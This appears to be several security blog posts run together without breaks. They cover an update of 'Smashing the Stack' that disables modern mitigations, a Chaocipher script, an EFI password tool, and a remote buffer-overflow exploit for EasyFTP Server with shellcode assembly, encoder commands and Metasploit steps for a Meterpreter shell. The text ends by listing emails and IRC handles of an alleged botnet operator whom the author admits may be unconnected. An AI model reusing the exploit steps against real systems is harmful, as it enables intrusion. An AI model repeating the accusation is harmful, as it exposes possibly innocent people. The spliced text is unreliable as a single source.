(Un)fortunately for today’s would be exploit developer, much has changed since 1996, and unless Aleph’s tutorial is carried out with additional instructions or on a particularly old machine, some of the exercises presented in Smashing the Stack will no longer work.  There are a number of reasons for this, some incidental, some intentional.  I attempt to enumerate the intentional hurdles here and provide instruction for overcoming some of the challenges that fifteen years of exploit defense research has presented to the attacker.  An effort is made to maintain the tutorial feel of Aleph’s article.

Related Work

• Craig J. Heffner wrote a similar article, which appeared on The Ethical Hacker Network in February of 2007.  This article differs from Heffner’s by way of emphasis placed on exploit mitigations developed since 1996 and their effect on several excerpts from Smashing the Stack as well as their effect on several of Aleph’s examples.  Also, several years have passed since Heffner’s article and another update couldn’t hurt.
• Mariano Graziano and Andrea Cugliari wrote a much more formal paper, Smashing the stack in 2010, on the mitigations discussed here as well as their counterparts on Windows.  From their abstract: “First of all we are going to analyze all the basical theoretical aspects behind the concept of Buffer Overflows…Subsequently the paper will analyze in detail all the aspects and mechanisms that regulate the way in which Buffer Overflow works on Linux and Windows architectures taking with particular care also the countermeasures introduced until nowadays for both the mentioned operating systems…we are going also to try some tricks to bypass these protections, in order to exploit the vulnerability even if a countermeasure has been adopted in the modern operating systems.” Regrettably, I had only become aware of their paper after I had published this post, and while Graziano/Cugliari’s paper and this blog post serve different purposes, my apologies to Graziano & Cugliari for failing to find their paper previously.

Introduction

Ubuntu has become a popular distribution for new Linux users as of late, so it’s probably not inappropriate to assume that budding security professionals interested in learning more about memory corruption exploitation have a certain likelihood to use the distribution.  As such, all instructions presented here have been tested on Ubuntu 10.10 i386 desktop vanilla (no updates; the only additional required package is execstack) running within VMWare Workstation 7.1.3.  Furthermore, Ubuntu provides a convenient table telling us what we’re up against.  While these instructions have been tested on Ubuntu 10.10, their specifics should not vary greatly between distributions.  Google is your friend.

My intention is for the reader to have this article open in one tab and Smashing the Stack open in another.  Much of what Aleph explains has not changed since 1996 (e.g. the x86 ABI), so it would make little sense to repeat him here.  Rather, I will pick and choose excerpts & examples that have become antiquated in some way, explain how they have been rendered so and what we can do to complete Aleph’s tutorial.  Changes to gcc that have nothing to do with exploit mitigations are glossed over.

Let’s begin.

Dynamic Buffers

Dynamic variables are allocated at run time on  the stack…We will concern ourselves only with the overflow of dynamic buffers, otherwise known as stack-based buffer overflows.

Aleph implies that an exploit author’s interest in dynamic buffers is limited to those found on the stack. Since 1996, much work has been completed on the topic of exploiting heap-based dynamic buffers as well, making such an implication antiquated.  The distinction between the types of allocations is commonly made by CS majors by referring to stack locals as automatic, while reserving the word dynamic for heap allocations.

Matt Conover and the w00w00 Security Team authored the seminal paper on the topic of heap-based buffer overflow exploitation in January of 1999.

Use of the EBP/RBP Registers

Consequently, many compilers use a second register, FP, for referencing both local variables and parameters because their distances from FP do not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this purpose.

It’s worth noting that on the AMD64/x86-64 architecture, 64bit OSes typically do not treat EBP (RBP is the equivalent 64bit register on the AMD64 architecture) as a special purpose register, as is common on x86 architectures.  This is one of many reasons why attempting Smashing the Stack on a AMD64 OS would make little sense.

Instead, [R|E]BP may be used as a general purpose register.  It should be noted (thank you, Prof Brumley!) that while it is convention to treat EBP as a pointer to a stack frame on x86 systems, there is nothing that forces a developer to treat the register as such.  That being said, if you’re developing for x86 Linux/Windows/OS X/etc and don’t use EBP according to convention, then you may run into trouble.  I can’t think of any specific examples, but you’ve been warned.

Why mention this?  EBP on x86 is treated as a control element – it points to the location of the previous stack frame.  Controlling this value would be beneficial for an attacker (see: return oriented programming).  Knowing the difference in convention between x86 and AMD64 architectures is therefore interesting to an attacker.

NX

Our code modifies itself, but most operating system (sic) mark code pages read-only. To get around this restriction we must place the code we wish to execute in the stack or data segment, and transfer control to it. To do so we will place our code in a global array in the data segment.

This is where the past fifteen years offers us something exciting.  On recent x86 architectures (Pentium 4+), operating systems and compilers, Intel’s eXecute Disable Bit (referred to as NX by Linux, as DEP or NX by Windows, and as Enhanced Virus Protection* by AMD) renders the above statement misleading. Jumping to the .data segment as Aleph suggests on a modern system would more than likely cause an segmentation fault, since a data segment should not legitimately contain executable code and will more than likely be stored in a page that has the NX bit set.

*That’s a terrible name.

Think of the idea as akin to POSIX permissions: different users/groups have different R(ead), W(rite) and (e)X(ecute) permissions on different files.  In 1996, x86 architectures only had the concept of R(ead) and W(rite) on memory pages.  If something was R(eadable), then it was also (e)X(ecutable).  Pentium 4 introduced hardware support for explicitly specifying whether a particular page should be (e)X(ecutable), hence NX.

Disabling NX mitigations varies with operating system and compiler; a gcc 4.4.5 / Ubuntu 10.10 method will be seen later in the examples.

Stack Protection & example2.c

This… program has a function with a typical buffer overflow coding error.  The function copies a supplied string without bounds checking by using strcpy() instead of strncpy().  If you run this program you will get a segmentation violation.

The intent of this example is to crash the process by clobbering the return address, causing the process to attempt to return to 0×41414141 (‘AAAA’).  The process certainly still crashes, but not for the same reason.  Let’s look at the output generated by executing example2.c:

vmuser@ubuntu:~$ nano example2.c
vmuser@ubuntu:~$ gcc -o example2 example2.c
example2.c: In function ‘function’:
example2.c:4: warning: incompatible implicit declaration of built-in function ‘strcpy’
vmuser@ubuntu:~$ ./example2
*** stack smashing detected ***: ./example2 terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x50)[0x6ad980]
/lib/libc.so.6(+0xe592a)[0x6ad92a]
./example2[0x804844e]
[0x41414141]
======= Memory map: ========
0027f000-0029b000 r-xp 00000000 08:01 1051128    /lib/ld-2.12.1.so
(omitted)

What happened here?  Recent versions of gcc include the capability to build a mechanism for stack buffer protection into compiled programs.  This capability is called ProPolice, and according to Wikipedia, it’s been largely unchanged since gcc 4.1 (Ubuntu 10.10 ships with gcc 4.4.5).  A ProPolice patch is available for gcc 3.x versions and was added to the trunk in 4.x releases.  The concept of the stack canary was originally proposed by Crispin Cowan in 1997 as StackGuard.  The interested reader is referred to the Wikipedia entry.

OK, what does ProPolice/StackGuard/etc do?

The basic idea is to place a chosen or psuedo-random value between a stack frame’s data elements (e.g. char * buffers) and its control elements (e.g. RET address, stored EBP) that is either difficult for an attacker to replace during an attack or impossible for an attacker to predict.  Before the function whose frame has been clobbered is allowed to return, this canary is checked against a known good.  If that check fails, the process terminates, since it now considers its execution path to be in an untrusted state.  “Canary” is used to describe this inserted value as a homage to the old practice of keeping canaries (the birds) in mines as a way to determine when the mine’s atmosphere becomes toxic (the canaries die before the toxicity level reaches a point that is dangerous for humans).

OK, so how do we get the results that Aleph intended us to?

Simple: compile example2.c without stack protection:

vmuser@ubuntu:~$ gcc -o example2 example2.c -fno-stack-protector
example2.c: In function ‘function’:
example2.c:4: warning: incompatible implicit declaration of built-in function ‘strcpy’
vmuser@ubuntu:~$ ./example2
Segmentation fault

Sweet, we crashed.  Win?

example3.c

This example is uninteresting from an exploit mitigation standpoint.  Stack protection will not need to be disabled, since we are directly modifying the RET address, rather than overflowing to it.  NX is irrelevant since we’re still returning into an eXecutable code segment.  ASLR (discussed later) is also irrelevant since we do not require knowledge of an absolute memory address.  Instead, example3 adds a static amount to the return address location.

This example does not work (it still prints ’1′) on Ubuntu 10.10, but because this is due to factors that have nothing to do with exploit mitigations, I refer the reader to Craig Heffner’s article referenced earlier.

ProPolice, NX & overflow1.c

We have the shellcode.  We know it must be part of the string which we’ll use to overflow the buffer.  We  know we must point the return address back into the buffer.

True in 1996, not so much in 2011.  As with many modern OSes, Ubuntu 10.10 executables as NX-compatible by default.  This is, of course, in addition to the default gcc 4.4.5 behavior of adding stack protection during compilation.  In order to get this example to work, we’re going to need to disable a couple of exploit mitigations.

Without any exploit mitigations:

vmuser@ubuntu:~$ gcc -o overflow1 overflow1.c
overflow1.c: In function ‘main’:
overflow1.c:16: warning: incompatible implicit declaration of built-in function ‘strlen’
overflow1.c:19: warning: incompatible implicit declaration of built-in function ‘strcpy’
vmuser@ubuntu:~$ ./overflow1
*** stack smashing detected ***: ./overflow1 terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x50)[0x410980]
/lib/libc.so.6(+0xe592a)[0x41092a]
./overflow1[0x80484ea]
/lib/libc.so.6(__libc_start_main+0x0)[0x341c00]
[0xc0310876]
======= Memory map: ========
0032b000-00482000 r-xp 00000000 08:01 1051152    /lib/libc-2.12.1.so
(omitted)

ProPolice disabled:

vmuser@ubuntu:~$ gcc -o overflow1 overflow1.c -fno-stack-protector
overflow1.c: In function ‘main’:
overflow1.c:16: warning: incompatible implicit declaration of built-in function ‘strlen’
overflow1.c:19: warning: incompatible implicit declaration of built-in function ‘strcpy’
vmuser@ubuntu:~$ ./overflow1
vmuser@ubuntu:~$

Odd.  It didn’t crash, but it also didn’t spawn a new shell.  It turns out that this is due to gcc allocating far more stack space in recent versions than the gcc that Aleph was working with.  Again, this isn’t directly relevant to exploit mitigations, so I’m going to gloss over the reasoning behind this.

We need to modify overflow1.c in order to account for large amount of stack space allocated by our gcc 4.4.5:

overflow1.c
------------------------------------------------------------------------------
...
  long *long_ptr = (long *) large_string;

  for (i = 0; i < 128; i++) <-- change this to 128 iterations
    *(long_ptr + i) = (int) buffer;
...
------------------------------------------------------------------------------

Make this modification to your overflow1.c, compile without ProPolice stack protection and with gdb debug symbols, then try executing again:

vmuser@ubuntu:~$ gcc -o overflow1 -fno-stack-protector -ggdb overflow1.c
overflow1.c: In function ‘main’:
overflow1.c:16: warning: incompatible implicit declaration of built-in function ‘strlen’
overflow1.c:19: warning: incompatible implicit declaration of built-in function ‘strcpy’
vmuser@ubuntu:~$ ./overflow1
Segmentation fault

Alright: a crash!  We may be onto something.  Let’s take a look at what’s happening in gdb:

vmuser@ubuntu:~$ gdb overflow1
(omitted)
(gdb) b strcpy <-- break at the call to strcpy()
Breakpoint 1 at 0x8048324
(gdb) run <-- start program
Starting program: /home/vmuser/overflow1
Breakpoint 1, 0x001a31c5 in strcpy () from /lib/libc.so.6
(gdb) finish <-- continue execution until strcpy() returns
Run till exit from #0  0x001a31c5 in strcpy () from /lib/libc.so.6
main () at overflow1.c:20
20    }
(gdb) disas <-- let's see where we are
Dump of assembler code for function main:
(omitted)
=> 0x0804847c <+136>:    add    $0x8c,%esp
 0x08048482 <+142>:    pop    %ebx
 0x08048483 <+143>:    mov    %ebp,%esp
 0x08048485 <+145>:    pop    %ebp
 0x08048486 <+146>:    ret   
(omitted)
(gdb) si <-- step a few more instructions until we're at the ret
0x08048482    20    }
(gdb) si <-- keep stepping...
0x08048483    20    }
(gdb) si <-- and stepping...
0x08048485    20    }
(gdb) si <-- last one
0x08048486 in main () at overflow1.c:20
20    }
(gdb) disas
Dump of assembler code for function main:
(omitted)
=> 0x08048486 <+146>:    ret <-- OK we're here
(omitted)
(gdb) x/a $esp <-- to where will we 'return'?
0xbffff3fc:    0xbffff378
(gdb) x/16x 0xbffff378 <-- what's at this address?
0xbffff378:    0x895e1feb    0xc0310876    0x89074688    0x0bb00c46
0xbffff388:    0x4e8df389    0x0c568d08    0xdb3180cd    0xcd40d889
0xbffff398:    0xffdce880    0x622fffff    0x732f6e69    0xbffff368
0xbffff3a8:    0xbffff378    0xbffff378    0xbffff378    0xbffff378

That should look familiar; it’s the beginning of our shellcode.  What happens if we attempt to continue?

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x08048486 in main () at overflow1.c:20
20    }

Segmentation fault.  That darn NX bit is ruining our day.  Let’s disable it.

sudo apt-get update
sudo apt-get install execstac

execstack is a very simple program that modifies ELF headers to enable/disable NX protection on the stack in target binaries.  Linux will respect the values placed in the ELF headers because it is not uncommon for an old binary to require an eXecutable stack.  For a Windows equivalent discussion, take a look at ATL Thunk emulation (warning: PDF*; search “ATL thunk” within the document).

* An awesome PDF, that is.

Let’s disable the NX bit and try once more:

vmuser@ubuntu:~$ execstack -s overflow1
vmuser@ubuntu:~$ ./overflow1
$ exit
vmuser@ubuntu:~$

Bingo.

ASLR & a Bunch of Examples

The problem we are faced when trying to overflow the buffer of another program is trying to figure out at what address the buffer (and thus our code) will be.  The answer is that for every program the stack will start at the same address.

This is no longer true.  Most modern desktop and server OSes rebase their stacks, code segments, dynamically loaded libraries and more in order to make a target address space unpredictable to an attacker.  Address Space Layout Randomization (ASLR) is not particularly effective on the x86 architecture (warning: PDF) and enjoys a much larger amount of entropy on the AMD64 architecture.  Regardless of the amount of bits available for pseudo-random rebasing, ASLR provides another hurdle for the attacker to overcome.  Unless the target process is a daemon that spawns a separate process on each exploitation attempt and then silently ignores segmentation faults & exceptions, the lower amount of entropy available to x86 OSes is still going to prevent the attacker from conducting a successful exploit without a significant chance of a crash.

The inclusion of ASLR in Ubuntu 10.10 prevents us from gathering the type of results that 1996 would allow us to gather.  In order to find a static stack pointer value (sp.c is deterministic, so the value shouldn’t change in the normal course of execution), we need to disable ASLR.

First, let’s see what happens with ASLR enabled:

vmuser@ubuntu:~$ gcc -o sp sp.c
sp.c: In function ‘main’:
sp.c:5: warning: incompatible implicit declaration of built-in function ‘printf’
sp.c:5: warning: format ‘%x’ expects type ‘unsigned int’, but argument 2 has type ‘long unsigned int’
vmuser@ubuntu:~$ ./sp
0xbfe83d18
vmuser@ubuntu:~$ ./sp
0xbfda6be8
vmuser@ubuntu:~$ ./sp
0xbf907128

As you can see, the location of the bottom of the stack (pointed to by ESP) changes on every execution.

Now, let’s disable ASLR and try again:

vmuser@ubuntu:~$ sudo su <-- see 'anon's comment below for explanation
[sudo] password for vmuser:
root@ubuntu:/home/vmuser# echo 0 > /proc/sys/kernel/randomize_va_space
root@ubuntu:/home/vmuser# cat /proc/sys/kernel/randomize_va_space
0
root@ubuntu:/home/vmuser# exit
exit
vmuser@ubuntu:~$ ./sp
0xbffff428
vmuser@ubuntu:~$ ./sp
0xbffff428
vmuser@ubuntu:~$ ./sp
0xbffff428

With ASLR disabled, we see results similar to Aleph’s description.  A deterministic program like sp.c should, without ASLR, print the same location on every execution.  Exploits often rely on the knowledge of where exactly something is mapped in target address space.  ASLR removes this knowledge from a would-be attacker.  The interested reader is referred to the randomize_va_space kernel patch for an explanation of possible values.

What does ASLR mean for exploit2.c as a primer to an attack on vulnerable.c?  Well, you’re in for a lot more guessing.  More importantly, any guess you choose will never be right, since the target space will be rebased on subsequent executions.  Using such an exploitation strategy would require guessing many times, every time – something that is often not feasible against real world applications.

What about exploit3.c?  In exploit3.c Aleph introduces a nopsled to his attack string.  This will still help, because guessing within a range preceding the shellcode (or in more general terms: the payload) will still allow one to execute shellcode.  The idea of a nopsled is tangential to the idea of ASLR.  ASLR will still prevent exploit3.c from working reliably, albeit slightly more reliably than exploit2.c

OK, what about Aleph’s technique of storing shellcode in an environment value?  Also affected by ASLR.  The example presented in exploit4.c will also require a lot of guessing with no correct answer in the face of ASLR.

If you wish to complete these examples, my suggestion is just to disable ASLR via /proc as demonstrated previously.

Conclusion

I’ve attempted to enumerate the challenges that the past 15 years of exploit research defense as applicable to Aleph’s seminal paper, Smashing the Stack for Fun and Profit and give instruction on how one might go about following Aleph’s tutorial on a modern OS, with a specific nod to Ubuntu 10.10.

There is, however, a very good chance I missed something.

Corrections, suggestions, critiques are much appreciated.  My hope is that this is helpful to some people; it certainly would have been helpful to me when I read Smashing the Stack for the first time.

In summary: John F. Byrne invented a two wheel enciphering device.  He tried, unsuccessfully, to sell the idea to the Navy and the U.S. Signal Corp.  During his lifetime, he revealed the secret of the Chaocipher to only three people.  His daughter-in-law wasn’t as committed to secrecy: she recently donated the machine to the National Cryptologic Museum, allowing for public scrutiny.

Despite receiving criticism for keeping the workings of the cipher a secret (a major no-no in cryptographic study), the coverage suggests that at least some cryptographers believed the cipher to be at least as strong as Enigma.  Enigma operated on anywhere between three and eight wheels, depending on model.

Moshe Rubin published an excellent whitepaper on the device and I thought it might be fun to implement the cipher in software.  The whitepaper includes an implementation in Perl which I found entirely too confusing and entirely too removed from the mechanical implementation, so I wrote my own.  I have a strange idea of fun.  And yes I went out for the 4th of July.

Before you read any further, it would help to read Moshe’s paper linked above.

The Chaocipher supported 26 characters (the English alphabet, single case).

My implementation adds the following:

• full printable ASCII* support — it should be trivial to modify for Unicode support
• keyfile support (format: <initial CT alphabet><NULL byte><initial PT alphabet>)

*Technically it’s all ASCII characters numbered between 9 and 126 (decimal).

Considering the secret in the Chaocipher scheme is the initial configuration of the ciphertext (CT) and plaintext (PT) alphabets, it made sense to record these in some sort of keyfile.  The keyfile would be the secret in secure communications employing chaocipher and would presumably be communicated out of band.  Considering I wanted to support all printable ASCII characters including whitespace, I used a NULL byte as a separator between the CT and PT alphabets in the keyfile.  The keyfile is flexible in that the supported character set is that which is defined.  As such, it’s entirely possible to encrypt the example used in Moshe’s paper using the original 26 character set.  A file is linked below to facilitate.  Side note: I used Ghex to create the example keyfile, but any hex editor should do, considering a NULL byte must be written.

The script supports the following actions:

• encryption with a specified keyfile
• encryption with randomly generated alphabets*
• decryption with a specified keyfile

*If no keyfile is specified during encryption, one is created using the kernel’s PRNG and written to a timestamped location in the working directory.

Examples:

./chaocipher.py -k chaocipher_example -e “WELLDONEISBETTERTHANWELLSAID”
PT: WELLDONEISBETTERTHANWELLSAID
CT: T0FIUUhDTllOWFRTWkpSUkhKQllIUUtTT1VKWQ== (base64 encoded)

./chaocipher.py -k chaocipher_example -d “T0FIUUhDTllOWFRTWkpSUkhKQllIUUtTT1VKWQ==”

PT: WELLDONEISBETTERTHANWELLSAID
CT: T0FIUUhDTllOWFRTWkpSUkhKQllIUUtTT1VKWQ== (base64 encoded)

./chaocipher.py -e “WELLDONEISBETTERTHANWELLSAID”

[*] no keyfile specified; generating one at /home/myhndl/mymiscprojects/chaocipher_07-07-2010_23-05-12
PT: WELLDONEISBETTERTHANWELLSAID
CT: emdXJUZ9Pg8cGgwgWTwqVngKUHRoVU5EUh18MQ== (base64 encoded)

./chaocipher.py -k chaocipher_07-07-2010_23-05-12 -d “emdXJUZ9Pg8cGgwgWTwqVngKUHRoVU5EUh18MQ==”

PT: WELLDONEISBETTERTHANWELLSAID
CT: emdXJUZ9Pg8cGgwgWTwqVngKUHRoVU5EUh18MQ== (base64 encoded)

Here’s the files:

• chaocipher.py
• chaocipher_example (the alphabet used in Moshe’s paper in keyfile format)

One item I had some difficulty with was utilizing the TPM via the TrouSers API due in large part to very few public projects making use of it.  More often than not I found myself reverse engineering the TrouSers testsuite – which is a great reference, don’t get me wrong.

I’ve licensed all my code under GPLv2, so feel free to build upon it and use it as a reference.  Hopefully some will find it useful in developing their own TrouSers applications.  The rest of the code is fairly TRECC-specific, but does a number of things that may be useful elsewhere (e.g. dumping the virtual address space of a target process in C via ptrace(), communicating between C utilities and Python via a sqlite3 database, etc).

Enjoy!

–

In my previous post, I detailed my efforts and solution to injecting a Meterpreter payload into a buffer of size 260B.  I mentioned that if I had the time, I would try to port the exploit to Metasploit itself, considering I had targeted my technique for the Metasploit-specific payload anyways.

I found some time and have made my plugin available below.  There’s several things that can be improved in this exploit:

• rewrite the fixRet to occupy less space and to use metasm to compile it on the fly
• use JMP ESP/EBP type addresses to help with porting to other versions of Windows

EasyFTP Server is an obscure FTP server, which makes it great for playing around with memory corruption vulnerabilities, but probably isn’t something anyone is going to see in a pentest any time soon.  I decided against spending the time required to generalize the exploit to versions of Windows beyond XP SP3 English and EasyFTP versions beyond 1.7.0.2.  I ported the exploit as an exercise and also in the hopes that someone may find my experience helpful should they try something similar.

I tested the exploit module against Metasploit 3.4.0-dev, r9112.  If its failing on an older version, try upgrading first.

Get easyftp_cwd_fixret.rb (put it in [your_metasploit_dir]/modules/exploits/windows/ftp)

Cheat sheet:

$ ./msfconsole
use windows/ftp/easyftp_cwd_fixret
set RHOST [target's IP address]
set PAYLOAD [your_payload]
[set options applicable to your payload]
exploit

–

Get my exploit (RCE_easy_ftp_server_1.7.0.2.py)

How do we trigger the vulnerability? From Jon’s PoC:

Lack of input length checks for the CWD command result in a buffer
overflow vulnerability, allowing the execution of arbitrary code
by a remote attacker.

Jon gets to the vulnerable code and attacks it (anon access is enabled by default):

s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
# Send payload...
print "[+] Sending payload..."
s.send('CWD ' + payload + '\r\n')

How much space do we have for our payload (shellcode) before the return address? Again, Jon already did the work for us:

nopsled = "\x90" * (268 - len(shellcode))

268 bytes is enough space to launch calc.exe, add a user account and some other items available to standard Metasploit payloads, but it is insufficient for something more exciting like a bind_tcp or Meterpreter payload:

$ ./msfpayload windows/shell_bind_tcp R | ./msfencode -b "\x00\x0a\x0d\xff"
[*] x86/shikata_ga_nai succeeded with size 369 (iteration=1)
[...snip...]

$ ./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -b \
"\x00\x0a\x0d\xff\x2f\x5c"
[*] x86/shikata_ga_nai succeeded with size 326 (iteration=1)

The Problem: How do we increase the amount of space available for our payload?

Referencing Jon’s PoC, one can easily deduce that Easy FTP Server wasn’t compiled with any stack protection (e.g. the /GS switch).  Jon worked against a x86 XPSP3 target (as did I), which means software DEP/SafeSEH operates on a whitelist by default (essential Windows services only); ASLR is nonexistent. and isn’t a concern anyways since Jon returns to an address on the (eXecutable) stack – no need for even a JMP address here.  Note: a JMP address would be more reliable when targeting different Windows versions, and will be something I will look into should I decide to generalize this exploit.

First, let’s take a look at Jon’s return address:

ret = "\x58\xFD\x9A\x00" # 0x009AFD58

The first thing I noticed is that the return address contains a NULL byte (\x00).  Had Easy FTP Server (EFS) employed a function analogous to strcpy(), then EFS would have stopped copying our attack string when it encountered this NULL byte.  Luckily this wasn’t exactly the case; I could write past the NULL byte (more on this later).

Aside: if you weren’t concerned about writing past the return address and Easy FTP Server had employed a strcpy()-like function, then you’re still in luck: thanks to the little-endianness of Intel’s x86 architecture, the NULL byte would appear at the very end of your attack string, making this a non-issue.

I decided to press my luck and attempt to write beyond the NULL byte in the return address (I later found another exploit that would have saved me this trouble).  I replaced Jon’s payload with an INT3 instruction (\xCC).  By inserting the INT3 breakpoint, I was able to examine the stack and determine the amount of bytes I could write beyond ret. Pictured: my nopsled, Jon’s ret & a bunch of ‘A’s (it continues outside of the screenshot, obviously):

I inserted a bunch of 'A's (0x41) after the ret value and conducted a binary search to determine the maximum number I had control over. I'm using Immunity Debugger here.

Get the modified code I used to do the above

I determined that I could write no more than 233 ‘A’s past the return address and still have reliable execution:

s.send('CWD ' + payload + 'A' * 233 + '\r\n')

Sweet… another 233 bytes!  Of course at this point I’ve severely smashed the stack and am overwriting the next stack frame.  Luckily, EFS is an FTP server and each connection is handled with a new thread.  Worst case scenario: I crash my thread and the server remains available to other users.  This is a great feature if you’re trying to be sneaky about the whole pwning thing.

So to review, we have 268 bytes before the return address, 4 bytes for the return address and 233 bytes past the return address.  268 + 4 + 233 = 505 bytes… more than enough space for the payloads I’m trying to inject.

Next Problem: Assuming our payload will be positioned at the highest addresses possible (at the end of the area we can write to), the return address will bisect any payload longer than 233 bytes.

It’s a good idea to insert your payload at the end of any buffer you control, particularly for Metasploit-encoded payloads, since they require a certain amount of slack space to decode themselves.  The nopsled doubles as this slack space.  So we must insert an appropriate return address in order to gain execution, but that return address will bisect our payload should our payload be longer than 233 bytes.

Next solution: Modify the return address after we have gained execution.  In order to do this, I wrote some NULL-free assembly that overwrites the return address with 4 bytes of the payload.  I called this tiny function fixRet.

Directly after we send our attack string, the stack will look like this (assuming the payload is longer than 233 bytes):

0x009AFD58                                    0x009AFF51
--------------------------------------------------------
fixRet | nopsled | payload, part1 | ret | payload, part2
--------------------------------------------------------

The payload is bisected by ret and is missing the 4 bytes that ret is occupying.  After fixRet executes, the stack will look like this:

0x009AFD58                                    0x009AFF51
--------------------------------------------------------
fixRet | nopsled | payload..............................
--------------------------------------------------------

At this point I needed to decide what payload to use because I needed to know what I was going to overwrite ret with.  While developing this exploit, I went through many different payloads, but the remaining commentary will assume the windows/meterpreter/bind_tcp windows/meterpreter/meterpreter_bind_tcp payload in my final exploit.  If I find time to rewrite this exploit using Metasploit’s framework, the following gcc / objdump steps will be unnecessary. I did find time to rewrite the exploit; jduck kindly fixed up the fixRet function such that it is dynamically generated by the module.

I’m a nerd, but I don’t enjoy doing x86 binary in my head so I enlisted gcc & objdump to find the hex values required for such a fixRet operation.  (It took me a few minutes to set up objdump on OS X).  I wrote a quick C program, making sure to tell gcc exactly what assembly I wanted in my output.

Excerpt from the C program (download the complete version):

#include <stdlib.h>

int main (void)
{    
 /* clear out 3 registers */
 __asm__("xor %eax, %eax");
 __asm__("xor %ebx, %ebx");
 __asm__("xor %ecx, %ecx");

 /* move 0x009afe64 into EAX without using NULLs */
 __asm__("mov $0xAA3054CE, %eax");
 __asm__("mov $0xAAAAAAAA, %ebx");
 __asm__("xor %ebx, %eax");

 /* write shellcode into ret's address */
 __asm__("mov $0xAEE0E45F, %ecx"); // meterpreter_bind_tcp
 __asm__("mov %ecx, (%eax)");
}

Remember when I said that I could write past the NULL in the return address and there would be more on this later?  Well, I could write after the NULL in ret, but could not have any NULLs before said address.  My guess is that the logic behind the vulnerable CWD command checks for NULLs in its buffer after the entire buffer has been written, rather than on the fly.  Such logic would allow us to write NULLs over the return address (because the function would not think to look there), but wouldn’t allow us to write NULLs prior to the return address (because the vulnerable function would error out and the thread would be killed).

The above C program does what we need it to do without using any NULLs.  I got around this by zeroing the registers with XOR and having the exploited process “fix” the address of ret (by simply XORing it with all A’s).  The ret value lives at 0x009AFE64 = 0xAAAAAAAA (XOR) 0xAA3054CE.

I translated this into hex values for our attack string (gcc compiles & assembles, objdump disassembles):

gcc -O0 RCE_easy_ftp_server_1.7.0.2.c -o fix_ret
objdump -d fix_ret

After running the program through gcc and objdump, I got my hex values (look at the main section):

31 c0                    xor    %eax,%eax
31 db                    xor    %ebx,%ebx
31 c9                    xor    %ecx,%ecx
b8 ce 54 30 aa           mov    $0xaa3054ce,%eax
bb aa aa aa aa           mov    $0xaaaaaaaa,%ebx
31 d8                    xor    %ebx,%eax
b9 5f e4 e0 ae           mov    $0xaee0e45f,%ecx
89 08                    mov    %ecx,(%eax)

Now we have fixRet, we can easily calculate our nopsled and of course we know ret and our payload.  We’re done!

I could explain more, but it would probably make more sense to get the code and attempt exploitation yourself.

Get my exploit (RCE_easy_ftp_server_1.7.0.2.py)

I included everything necessary for injecting a meterpreter/bind_tcp payload and a shell_bind_tcp payload, both operating over port 4444.  The bind_tcp payload items are commented out.

Using the exploit (assuming meterpreter/bind_tcp payload):

(start Easy FTP Server 1.7.0.2 on victim machine)
./RCE_easy_ftp_server_1.7.0.2.py -t (victim IP) -p 21
msfconsole
use multi/handler
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST (victim IP)
exploit

After the meterpreter dll is injected, you should have a working session :P

As always, comments are appreciated.  If I have time I’ll make this into a proper Metasploit module… none of this gcc / objdump silliness. I did find time to rewrite the exploit; jduck kindly fixed up the fixRet function such that it is dynamically generated by the module.

• if new password is set and mode is not, default mode to “command” (this will cause password to be enforced rather than ignored)
• clarified usage
• added ‘-c’ option

If you were getting a message like this:

sudo: ./efipw_0.2b.py: command not found

it’s because you hadn’t flagged the file as executable.  I neglected to mention this in the instructions before, but it’s in there now.  If you’re getting the above, just run:

chmod +x ./efipw*

…assuming efipw is in your working directory, of course.

I’ve also added a ‘-c’ option that disables the EFI password properly (or at least the way Apple does it).  When an EFI password is cleared with Apple’s GUI utility, ‘none’ is written to nvram as the password and the ‘none’ mode is selected.  Rather than forcing people to specify ‘none’ for both fields themselves, users can just do:

sudo ./efipw* -c

to disable the EFI password properly.

Get efipw

Comments/suggestions/bugs welcome.

# lolCrypt: Apple's lolzy encryption function
def lolCrypt(input):
 output = ""
 for i in range(0, len(input)): output += (chr(ord(input[i]) ^ 170))
 return output

efipw is a tool a I wrote for two reasons: pentests & lab deployments.  Apple doesn’t provide administrators with a command line tool for changing EFI (a.k.a. Open Firmware) passwords – this is where efipw comes in.  These passwords may be employed to require physical access to boot off non-blessed drives, NetBoot shares, etc.  More information here.  efipw allows root to set and reveal EFI passwords as well as set EFI modes.

Get efipw

usage: sudo ./efipw* -h

While doing some reverse engineering of Apple’s Open Firmware Password GUI utility, I found something I thought was interesting.  Depending on the length of the chosen password, several things may happen:

length = 0: not allowed (error given)
length = [1-48]: no error, password set correctly
length = [49-255]: fail silently (password not set and no error given)
length = 256: Open Firmware Password utility crashes
length > 256: a really unhelpful error is given, password not set

Isn’t 48 kind of an odd cutting off point?  I can understand 256 and the obvious off by one error going on here.  I assume whats being stored in nvram is ASCII-encoded.  If that’s true, then each password character consumes three ASCII characters (a % followed by two hex values).  So if the maximum password length that actually works is 48, that means nvram stores at most 48*3 = 144 ASCII values in that field in nvram, which is still kind of an odd number in my opinion.  If you have any ideas, comment below.

The botnet master behind the attacks described in the last post could be*:

Image © Crystal Project

• Romanian
• trancetears@yahoo.com, cezar179@yahoo.com and/or hotzu@hotzu.us
• Frequenting IRC (Undernet): Diemen.NL.EU.Undernet.org:6667
• Controlling a small botnet with IRC nickname fSs in channel #19
• Talking in these channels: #ls, #Work, #LinuxTeam, #Linux-Team, #Catalin, #112, #juno and #master
• Using small variations of the word “tears” for his/her handles and the handles of his/her bots
• (Probably) proxying his/her IRC connection through compromised hosts
• Using pre-packaged tools

*I don’t have any evidence indicating that this specific individual is the one attacking me (in fact it’s kind of a long shot), but I do have evidence that this individual is using a toolkit very similar to the one being used against me and that this individual is operating a botnet.  You sacrifice privacy when you choose to run a botnet.

this is how you know they're legit. they have skulls and knives in their banners.

Gathering the info:

I’ve been running my modified sshd for a few days now, and as previously mentioned, I have a fairly lengthy log going already.

My original purpose for collecting full usernames & passwords tried against my server was to use those captured credentials to determine whether this dictionary attack was the work of a single group or the work of multiple groups.  I set out determine which using the following observations:

